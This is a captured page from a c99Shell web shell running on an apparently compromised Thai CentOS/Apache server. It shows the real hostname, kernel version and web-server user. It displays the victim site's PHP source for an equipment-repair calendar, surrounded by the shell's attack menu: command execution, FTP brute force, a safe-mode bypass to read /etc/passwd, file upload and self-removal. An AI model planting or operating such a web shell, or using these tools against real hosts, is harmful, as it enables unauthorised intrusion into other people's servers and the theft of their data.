!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Durable_depart/   drwxr-xr-x
Free 50.96 GB of 127.8 GB (39.88%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     index.php (7.5 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../include/Function.php" );
         require_once( 
"../calendar/check.php" );
          require_once( 
"../calendar/cal_func.php" );
        
/**  Create Database Object  */
        
$dbObj = new DBConn;
        
        
/**  Config Table for This Page  */
        
$myTable "personal_tb";
        
        
$Username $valid_user;

    
        
/*
        $query = " SELECT *  FROM $myTable  WHERE Username='$Username' ";
        $result = $dbObj->execQuery($query);
        $rs = $dbObj->fetchObject($result);
            $Teacher_code = $rs->Teacher_code;
        */
        
        
    
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/calendar.css" rel="stylesheet" type="text/css" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<title>ยินดีต้อนรับ - การขอใช้รถยนต์</title>

</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
    
include("../templates/incHeader.php");
?>
<table width="1003" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="203" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td>
    <td width="800" align="center" valign="top" style="padding:10px 0px 5px 10px"><fieldset>
      <table width="780" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td height="5"></td>
      </tr>
      <tr>
        <td height="30" background="../images/background/bg-head-topic-w780.gif" class="PADDING-LEFT-10 PATRON11"><strong><a href="index.php">หน้าหลัก</a> &raquo; <span class="NOTE">ยินดีต้อนรับระบบการแจ้งซ่อมวัสดุและครุภัณฑ์</span></strong></td>
        </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td height="370" align="center" valign="top"><table width="448" height="279" border="0">
          <tr>
            <td width="28" height="28">&nbsp;</td>
            <td width="391">&nbsp;</td>
            <td width="15">&nbsp;</td>
          </tr>
          <tr>
            <td height="28">&nbsp;</td>
            <td><table width="101%" height="31" border="0" cellpadding="1" cellspacing="1">
              <tr bgcolor="#004080" class="title">
                <td width="13%" height="29" align="center" bgcolor="#FF9900" class="title" ><a href="<?php echo "$PHP_SELF?Y=$cal_prev_year&m=$cal_prev_month&d=$cal_day" ?>">&lt;&lt;</a></td>
                <td width="73%" align="center" bgcolor="#FF9900"><?php echo $_month_name[$cal_month]." ปี พ.ศ ".($cal_year+543);?>&nbsp;</td>
                <td width="14%" align="center" bgcolor="#FF9900" class="title"><a href="<?php echo "$PHP_SELF?Y=".$cal_next_year."&m=".$cal_next_month."&d=".$cal_day;?>">&gt;&gt;</a></td>
              </tr>
            </table></td>
            <td>&nbsp;</td>
          </tr>
          <tr>
            <td height="163">&nbsp;</td>
            <td><table width="101%" height="193" border="0" cellpadding="1" cellspacing="1" class="overview" >
              <tr>
                <td width="13%" height="20" align="center" bgcolor="#FFCC99" class="dayname">จ</td>
                <td width="16%" align="center" bgcolor="#FFCC99" class="dayname">อ</td>
                <td width="15%" align="center" bgcolor="#FFCC99" class="dayname">พ</td>
                <td width="16%" align="center" bgcolor="#FFCC99" class="dayname">พฤ</td>
                <td width="12%" align="center" bgcolor="#FFCC99" class="dayname">ศ</td>
                <td width="14%" align="center" bgcolor="#FFCC99" class="dayname">ส</td>
                <td width="14%" align="center" bgcolor="#FFCC99" class="dayname">อา</td>
              </tr>
              <?php

$sql 
" SELECT add_updated  from  durable_tb  ";
$rsCal mysql_query($sql) or die(" Error").mysql_error();
$row mysql_fetch_array($rsCal);    
 

//เอาวันเริ่มและสิ้นสุดมาเก็บใน array เพื่อใช้ในการเปรียบเทียบ

$st=array();$ed=array();

$i=0;

do{

$st[$i]=$row['add_updated'];

$ed[$i]=$row['add_updated'];

 
$i++;} 
 while (
$row =  mysql_fetch_array($rsCal)); 


for(
$i=0;$i<count($st);$i++)

{

 
$ed[$i]=substr($ed[$i],0,4).substr($ed[$i],5,2).substr($ed[$i],8,2);

 
$st[$i]=substr($st[$i],0,4).substr($st[$i],5,2).substr($st[$i],8,2);

}



    if ( ( 
$cal_year == $cur_year ) && ( $cal_month == $cur_month ) )

    {

        
$today_day $cur_day;

    } else 
$today_day 0;

    
//จำนวนวันในเดือนที่แล้ว จำนวนวันในเดือนนี้  หาค่าวันที่ 1 ของเดือนแบบสัปดาห์

    
$days_last_month num_days$cal_prev_year$cal_prev_month );

    
$days_this_month num_days$cal_year$cal_month );

    
$first_day_pos date"w"mktime0,0,0,$cal_month,1,$cal_year) );

    
//เปลี่ยนค่าที่ได้ถ้าเป็นวันอาทิตย์ให้เท่ากับ 7 แทน Mo=1 to Su=7

    
if ( $first_day_pos == $first_day_pos 7

    

    
$day_num$days_last_month - ($first_day_pos-2); 

    
$class="last_month";

    
$p=array();

    

    for ( 
$y=1$y<=6$y++ )

    {

        echo 
"<tr>";

        for ( 
$x=1$x<=7$x++ )

        {

            if ( (
$y==1) && ($x==$first_day_pos) ) 

            { 

                
$day_num 1$class="";

            }

            if ( (
$y >1) && ($day_num>$days_this_month) ) 

            { 

                
$day_num 1$class="next_month"

            }

            if ( (
$class=="") && ($day_num == $today_day) )

            {

                
$id="today";

            } else 
$id="";

            if ( 
$class == "" ){ 

            if(
$cal_month<=9)

            
$mm="0".$cal_month;

            else 
$mm=$cal_month;

            

            if(
$day_num<=9)

            
$dd="0".$day_num;

            else 
$dd=$day_num;

            
$times=$cal_year."-".$mm."-".$dd;

            }

            
$cur_day=$cal_year.$mm.$dd;

            for(
$i=0;$i<count($st);$i++){

            if((
$cur_day>=$st[$i])&&($cur_day<=$ed[$i])){

            
$p[$day_num]=1;

            }

            }

            if(
$p[$day_num]==1&&$class==""){

            
?>

            <td align="center"  bgcolor=#E9FFE9 class="<? echo $class?>" id="<? echo $id?>"><a href="#" onClick="MM_openBrWindow('Duracalendar.php?now_stamp=<? echo $times?>','','scrollbars=yes,width=550,height=550')"><? echo $day_num?></a></td><?

            
}else{ echo "<td class='".$class."' id='".$id."' bgcolor=#E9E9E9><div align='center'>".$day_num."</div></td>";

            }

            
$day_num++;                                

            }

        echo 
"</tr>";

    } 

?>
              </tr>
            </table></td>
            <td>&nbsp;</td>
          </tr>
          <tr>
            <td>&nbsp;</td>
            <td>
            </td>
            <td>&nbsp;</td>
          </tr>
        </table></td>
      </tr>
      <tr>
        <td align="center" valign="top">&nbsp;</td>
      </tr>
    </table>
   </fieldset></td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0161 ]--